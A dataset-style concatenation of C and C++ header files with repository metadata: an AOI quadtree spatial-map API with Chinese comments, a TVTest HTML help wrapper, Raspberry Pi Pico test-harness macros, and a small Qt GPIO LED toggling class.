不能直接操作里面的list */ void irefcacheclear(irefcache *cache); /* 释放缓存 */ void irefcachefree(irefcache *cache); /* 当前缓冲区的存储的对象个数 */ int irefcachesize(irefcache *cache); /* 用宏处理缓存接口: 拿 */ #define icache(cache, type) ((type*)irefcachepoll(cache)) /* 用宏处理缓存接口: 放回 */ #define icacheput(cache, ref) irefcachepush(cache, (iref*)(ref)) /* 最大的分割次数 */ #define IMaxDivide 32 /*************************************************************/ /* icode */ /*************************************************************/ /* 编码, 以0结尾,c 风格字符串 */ typedef struct icode { char code[IMaxDivide+1]; ipos pos; }icode; /*************************************************************/ /* iuserdata */ /*************************************************************/ /* 自定义数据 */ typedef struct iuserdata { int u1, u2, u3, u4; void *up1, *up2, *up3, *up4; }iuserdata; /*************************************************************/ /* iunit */ /*************************************************************/ /* 前置声明 */ struct inode; /* 基本单元状态 */ typedef enum EnumUnitState { EnumUnitStateNone = 0, EnumUnitStateDead = 1 << 3, EnumUnitStateFlying = 1<< 5, EnumUnitStateMoving = 1<< 6, EnumUnitStateSearching = 1<<10, }EnumUnitState; /* 单元 */ typedef struct iunit { irefdeclare; /* 名称 */ iname name; /* ID */ iid id; /* 状态 */ int64_t state; /* 更新时间(毫秒) */ int64_t tick; /* 坐标 */ ipos pos; icode code; #if iiradius /* 半径 */ ireal radius; #endif /* 用户数据 */ iuserdata userdata; /* 在同一单元内部列表的关系 */ struct iunit* next; struct iunit* pre; /* 所在的叶子节点 */ struct inode* node; }iunit; /* 构造一个基本单元 */ iunit * imakeunit(iid id, ireal x, ireal y); /* 重载:构造一个基本单元 */ iunit * imakeunitwithradius(iid id, ireal x, ireal y, ireal radius); /* 释放一个基本单元 */ void ifreeunit(iunit *unit); /* 释放链表 */ void ifreeunitlist(iunit *unit); /*************************************************************/ /* inode */ /*************************************************************/ /* 节点分割的次数 */ #define IMaxChilds 4 /* 分割次数 */ #define IDivide 2 /* 二维空间 */ #define IDimension 2 /* 节点的状态 */ typedef enum EnumNodeState { EnumNodeStateNone = 0, /* 查找标记,在搜索的时候会短暂的标记 */ EnumNodeStateSearching = 1<<5, /* 寻路的时候代表不可走,需要避开 */ EnumNodeStateNoWalkingAble = 1<<12, /* 寻路的时候代表整个可以走 */ EnumNodeStateWalkingAble = 1<<13, /* 节点需要Hold 住,不能释放 */ EnumNodeStateStatic = 1<<23, /* 节点可不可以附加单元 */ EnumNodeStateNoUnit = 1<<24, }EnumNodeState; /* 是否追踪更新时间戳 */ #define open_node_utick (1) /* 节点 */ typedef struct inode { /* 声明引用对象 */ irefdeclare; /* 节点层级: 从1 开始(根节点为0) */ int level; /* 节点对应的起点坐标编码 code[level-1] */ icode code; /* 相对父节点的索引 */ int codei; /* 继承坐标系 */ int x, y; /* 节点状态 */ int64_t state; /* 管理时间戳(增加单元,减少单元,增加子节点,减少子节点会更新这个时间戳) */ int64_t tick; #if open_node_utick /* 更新时间戳(管理时间戳 + 单元移动时间戳) */ int64_t utick; #endif /* 四叉树 */ struct inode *parent; struct inode *childs[IMaxChilds]; /* 附加在上面的单元 */ struct iunit *units; /* 记录节点状态 */ int childcnt; int unitcnt; /* 所有叶子节点都串起来了: */ /* 维护一个有序的叶子节点列表非常有用 */ struct inode *pre; struct inode *next; /* * 构成了一个有向图,可在联通上做单向通行 * */ /* 所有可以到达当前节点的邻居 other ===> this */ ireflist *neighbors; /* 可走的列表 this ===> other */ ireflist *neighbors_walkable; }inode; /* 节点内存管理 */ inode * imakenode(); /* 从节点数里面移除 */ void ineighborsclean(inode *node); /* 在有向图上加上一单向边 */ void ineighborsadd(inode *node, inode *to); /* 在有向图上移除一条单向边 */ void ineighborsdel(inode *node, inode *to); /* 释放节点本身 */ void ifreenode(inode *node); /* 释放节点以及节点关联的单元 */ void ifreenodekeeper(inode *node); /* 释放节点组成的树 */ void ifreenodetree(inode *node); /*************************************************************/ /* imap */ /*************************************************************/ /* 地图状态信息,统计数据 */ typedef struct imapstate { int64_t nodecount; int64_t leafcount; int64_t unitcount; }imapstate; /* 地图 */ typedef struct imap { /* 地图名称 */ iname name; /* 地图基本信息,世界坐标系统的位置,以及大小 */ ipos pos; isize size; #if iiradius /* 单位的最大半径 */ ireal maxradius; #endif /* 地图分割的层 */ /* 512 的地图分割24 次以后的精度为:0.00003052 */ int divide; /* 地图编码库, 以及地图的精度信息 */ char code[IDimension][IDivide]; isize nodesizes[IMaxDivide+1]; /* 地图精度的平方: 用来做距离筛选 */ ireal distances[IMaxDivide+1]; /* 四叉树的根节点 */ inode *root; /* 节点缓存 */ irefcache *nodecache; /* 叶子节点 */ inode *leaf; /* 地图状态信息 */ imapstate state; /* 存储地图的原始阻挡的位图信息 bits-map*/ char *blocks; }imap; /* 节点加入地图 */ int imapaddunitto(imap *map, inode *node, iunit *unit, int idx); /* 从地图上移除 */ int imapremoveunitfrom(imap *map, inode *node, iunit *unit, int idx, inode *stop); /* 根据坐标生成code */ int imapgencode(const imap *map, const ipos *pos, icode *code); /* 计算Code */ /* y */ /* ^ */ /* | (B , D) */ /* | (A , C) */ /* -----------> x */ /* y */ /* ^ */ /* | ((0, 1) , (1, 1)) */ /* | ((0, 0) , (1, 0)) */ /* -----------> x */ /* 从编码生成坐标 */ int imapgenpos(imap *map, ipos *pos, const icode *code); /* 编码移动方向 */ typedef enum EnumCodeMove { EnumCodeMoveLeft, EnumCodeMoveRight, EnumCodeMoveDown, EnumCodeMoveUp, EnumCodeMoveMax }EnumCodeMove; /* 移动编码: 失败返回0, 成功返回移动的步骤数 */ int imapmovecode(const imap *map, icode *code, int way); /* 建议 divide 不要大于 10*/ /* 生成一张地图数据 */ imap *imapmake(const ipos *pos, const isize *size, int divide); /* 地图信息类型 */ typedef enum EenumMapState { EnumMapStateHead = 1, EnumMapStateTail = 1<<1, EnumMapStateBasic = 1<<2, EnumMapStatePrecisions = 1<<3, EnumMapStateNode = 1<<4, EnumMapStateUnit = 1<<5, /* 所有信息 */ EnumMapStateAll = 0xffffffff, /* 除了头部和尾部 */ EnumMapStateAllNoHeadTail = 0xffffffff & ~EnumMapStateHead & ~EnumMapStateTail, /* 不打印信息 */ EnumMapStateNone = 0 }EenumMapState; /* 打印地图状态信息 */ void imapstatedesc(const imap *map, int require, const char* intag, const char *inhead); /* 释放地图数据,释放附加在地图上的单元数据 */ void imapfree(imap *map); /* 生成地图数据 */ int imapgen(imap *map); /* 增加一个单元到地图上 */ int imapaddunit(imap *map, iunit *unit); /* 从地图上移除一个单元 */ int imapremoveunit(imap *map, iunit *unit); /* 从地图上检索节点 */ inode *imapgetnode(const imap *map, const icode *code, int level, int find); /* 更新一个单元在地图上的数据 */ int imapupdateunit(imap *map, iunit *unit); /* 更新一个单元的附加信息到地图数据上:现阶段就只更新了单元的半径信息 */ /* 如果单元改变了半径,需要调用这个函数刷新一下,才回立刻生效,不然等单位移动单元格后才生效*/ void imaprefreshunit(imap *map, const iunit *unit); /* 设置块的状态 */ void imapsetblock(imap *map, int x, int y, int state); /* 加载位图阻挡信息 sizeof(blocks) == (divide*divide + 7 ) / 8 */ void imaploadblocks(imap *map, char* blocks); /* 获取块的状态 */ int imapgetblock(const imap *map, int x, int y); /*************************************************************/ /* ifilter */ /*************************************************************/ /* 前置声明 */ struct ifilter; /* 过滤器行为 */ typedef enum EnumFilterBehavior { EnumFilterBehaviorChooseRangeNode = 1, }EnumFilterBehavior; /* 过滤器入口函数 */ typedef int (*ientryfilter)(imap *map, const struct ifilter *filter, const iunit* unit); /* 过滤器指纹入口 */ typedef int64_t (*ientryfilterchecksum)(imap *map, const struct ifilter *filter); /* 过滤器上下文 */ typedef struct ifilter { irefdeclare; /* 过滤器上下文 */ struct { /* 基础属性 */ union { icircle circle; irect rect; icode code; int64_t id; }u; /* 复合过滤器 */ ireflist *list; }s; /* 过滤器入口 */ ientryfilter entry; /* 指纹 */ ientryfilterchecksum entrychecksum; /* 选择合适的子节点 */ int behavior; }ifilter; /* 指纹识别 */ int64_t ifilterchecksum(imap *map, const ifilter *d); /* 释放节点o */ void ifilterfree(ifilter *filter); /* 基础过滤器 */ ifilter *ifiltermake(); /* 往一个已有的过滤器里面添加过滤器 */ void ifilteradd(ifilter *filter, ifilter *added); /* 移除子过滤器 */ void ifilterremove(ifilter *filter, ifilter *sub); /* 移除所有子过滤器 */ void ifilterclean(ifilter *filter); /* 通用过滤器入口 */ int ifilterrun(imap *map, const ifilter *filter, const iunit *unit); /* circle 过滤器 */ ifilter *ifiltermake_circle(const ipos *pos, ireal range); /* rect 过滤器 */ ifilter *ifiltermake_rect(const ipos *pos, const isize *size); /* 搜集树上的所有单元, 调用完后必须调用imapcollectcleanunittag */ void imapcollectunit(imap *map, const inode *node, ireflist *list, const ifilter *filter, ireflist *snap); /* 清除搜索结果标记 */ void imapcollectcleanunittag(imap *map, const ireflist *list); /* 清除搜索结果标记 */ void imapcollectcleannodetag(imap *map, const ireflist *list); /*************************************************************/ /* isearchresult */ /*************************************************************/ /* 搜索结果 */ typedef struct isearchresult { /* 单元 */ ireflist* units; /* 过滤器 */ ifilter * filter; /* 时间点 */ int64_t tick; /* 上下文校验 */ int64_t checksum; /* 快照 */ ireflist* snap; }isearchresult; /* 创建搜索结果 */ isearchresult* isearchresultmake(); /* 对接过滤器 */ void isearchresultattach(isearchresult* result, ifilter *filter); /* 移除过滤器 */ void isearchresultdettach(isearchresult *result); /* 释放所有节点 */ void isearchresultfree(isearchresult *result); /* 清理搜索的内容,后续的搜索会从新开始搜索 */ void isearchresultclean(isearchresult *result); /* 从快照里面从新生成新的结果 */ void isearchresultrefreshfromsnap(imap *map, isearchresult *result); /* 收集包含指定矩形局域的节点(最多4个) */ void imapsearchcollectnode(imap *map, const irect *rect, ireflist *list); /* 计算给定节点列表里面节点的最小公共父节点 */ inode *imapcaculatesameparent(imap *map, const ireflist *collects); /* 从地图上搜寻单元 irect{pos, size{rangew, rangeh}}, 并附加条件 filter */ void imapsearchfromrectwithfilter(imap *map, const irect *rect, isearchresult *result, ifilter *filter); /* 从地图上搜寻单元 */ void imapsearchfrompos(imap *map, const ipos *pos, isearchresult *result, ireal range); /* 从地图上搜寻单元, 不包括自己 */ void imapsearchfromunit(imap *map, iunit *unit, isearchresult *result, ireal range); /* 搜索: 最后的搜索都会经过这里 */ void imapsearchfromnode(imap *map, const inode *node, isearchresult* result, ireflist *innodes); /* 计算节点列表的指纹信息 */ int64_t imapchecksumnodelist(imap *map, const ireflist *list, int64_t *maxtick, int64_t *maxutick); /*************************************************************/ /* print helper */ /*************************************************************/ /* 打印树的时候携带的信息 */ typedef enum EnumNodePrintState { EnumNodePrintStateTick = 1, EnumNodePrintStateUnits = 1 << 1, EnumNodePrintStateMap = 1 << 2, EnumNodePrintStateNode = EnumNodePrintStateTick | EnumNodePrintStateUnits, EnumNodePrintStateAll = 0xFFFFFFFF, }EnumNodePrintState; /* 打印地图 */ void _aoi_print(imap *map, int require); /* 打印指定的节点*/ void _aoi_printnode(int require, const inode *node, const char* prefix, int tail); /* 测试 */ int _aoi_test(int argc, char** argv); /* Ends C function definitions when using C++ */ #ifdef __cplusplus } #endif #endif /* __AOI_H_ */
24.378877
107
0.53091
3f4752b482b6bcc0552323f4b7ed3a3a8f039832
468
h
C
TVTest_0.7.23_Src/Help.h
mark10als/TVTest_0.7.23_fix_Sources
313c295ab67a39bb285303ad814ee4f5aa15d921
[ "libpng-2.0" ]
null
null
null
TVTest_0.7.23_Src/Help.h
mark10als/TVTest_0.7.23_fix_Sources
313c295ab67a39bb285303ad814ee4f5aa15d921
[ "libpng-2.0" ]
null
null
null
TVTest_0.7.23_Src/Help.h
mark10als/TVTest_0.7.23_fix_Sources
313c295ab67a39bb285303ad814ee4f5aa15d921
[ "libpng-2.0" ]
null
null
null
#ifndef TVTEST_HELP_H #define TVTEST_HELP_H #include "Help/HelpID.h" class CHtmlHelp { typedef HWND (WINAPI *HtmlHelpFunc)(HWND hwndCaller,LPCTSTR pszFile, UINT uCommand,DWORD_PTR dwData); TCHAR m_szFileName[MAX_PATH]; HMODULE m_hLib; HtmlHelpFunc m_pHtmlHelp; DWORD m_Cookie; public: CHtmlHelp(); ~CHtmlHelp(); bool Initialize(); void Finalize(); bool ShowIndex(); bool ShowContent(int ID); bool PreTranslateMessage(MSG *pmsg); }; #endif
16.137931
69
0.739316
6ab078a35239ddffab44d81a34fa7835b5be4011
3,433
h
C
pico-sdk/test/pico_test/include/pico/test.h
TheMindVirus/tinyusb
397f5f916d84841d878ab75cadae007af13220a1
[ "MIT" ]
null
null
null
pico-sdk/test/pico_test/include/pico/test.h
TheMindVirus/tinyusb
397f5f916d84841d878ab75cadae007af13220a1
[ "MIT" ]
null
null
null
pico-sdk/test/pico_test/include/pico/test.h
TheMindVirus/tinyusb
397f5f916d84841d878ab75cadae007af13220a1
[ "MIT" ]
null
null
null
/** * Copyright (c) 2020 Raspberry Pi (Trading) Ltd. * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef _PICO_TEST_H #define _PICO_TEST_H #include "pico.h" /* Various macros to help with test harnesses Note: really need to change the returns to exit() but not sure that is implemented yet. */ #define PICOTEST_MODULE_NAME(n,d) const char *picotest_module=n; const char *picotest_description=d; int picotest_error_code; #define PICOTEST_START() printf("Starting Picotest for %s\n", picotest_description); #define PICOTEST_START_SECTION(NAME) if (1) {const char *picotest_section_name=NAME; picotest_error_code = 0; #define PICOTEST_END_SECTION() if (picotest_error_code != 0) { \ printf("Module %s: Section %s : Failed test\n", picotest_module, picotest_section_name);\ return -1; \ } else \ printf("Module %s: Section %s : Passed\n", picotest_module, picotest_section_name); \ } #define PICOTEST_CHECK(COND, MESSAGE) if (!(COND)) { \ printf("Module %s: %s\n", picotest_module, MESSAGE); \ picotest_error_code = -1; \ } #define PICOTEST_CHECK_CHANNEL(CHANNEL, COND, MESSAGE) if (!(COND)) { \ printf("Module %s, channel %d: %s\n", picotest_module, CHANNEL, MESSAGE); \ picotest_error_code = -1; \ } #define PICOTEST_CHECK_AND_ABORT(COND, MESSAGE) if (!(COND)) { \ printf("Module %s: %s\n", picotest_module, MESSAGE); \ return -1; \ } #define PICOTEST_CHECK_CHANNEL_AND_ABORT(CHANNEL, COND, MESSAGE) if (!(COND)) { \ printf("Module %s, channel %d: %s\n", picotest_module, CHANNEL, MESSAGE); \ return -1; \ } #define PICOTEST_ABORT_IF_FAILED() if (picotest_error_code != 0) { \ printf("Module %s: Aborting\n", picotest_module); \ return -1; \ } #define PICOTEST_END_TEST() if (picotest_error_code != 0) \ {printf("%s: Failed\n", picotest_description); return -1;} \ else \ {printf("%s: Success\n", picotest_description); return 0;} #endif
56.278689
126
0.38829
ac0dd406d85acc21971381b033fc407a68d9813b
289
h
C
lighter.h
Archloy/qledtests
333503296c1e3f5d3b027b69e7d5b30424e1de09
[ "WTFPL" ]
null
null
null
lighter.h
Archloy/qledtests
333503296c1e3f5d3b027b69e7d5b30424e1de09
[ "WTFPL" ]
null
null
null
lighter.h
Archloy/qledtests
333503296c1e3f5d3b027b69e7d5b30424e1de09
[ "WTFPL" ]
null
null
null
#ifndef LIGHTER_H #define LIGHTER_H #include <QObject> class QFile; class Lighter : public QObject { Q_OBJECT public: Lighter(QString gpio); private: QFile* m_led; char state; public slots: void toggle(); signals: void toggleSignal(); }; #endif // LIGHTER_H
11.115385
30
0.67474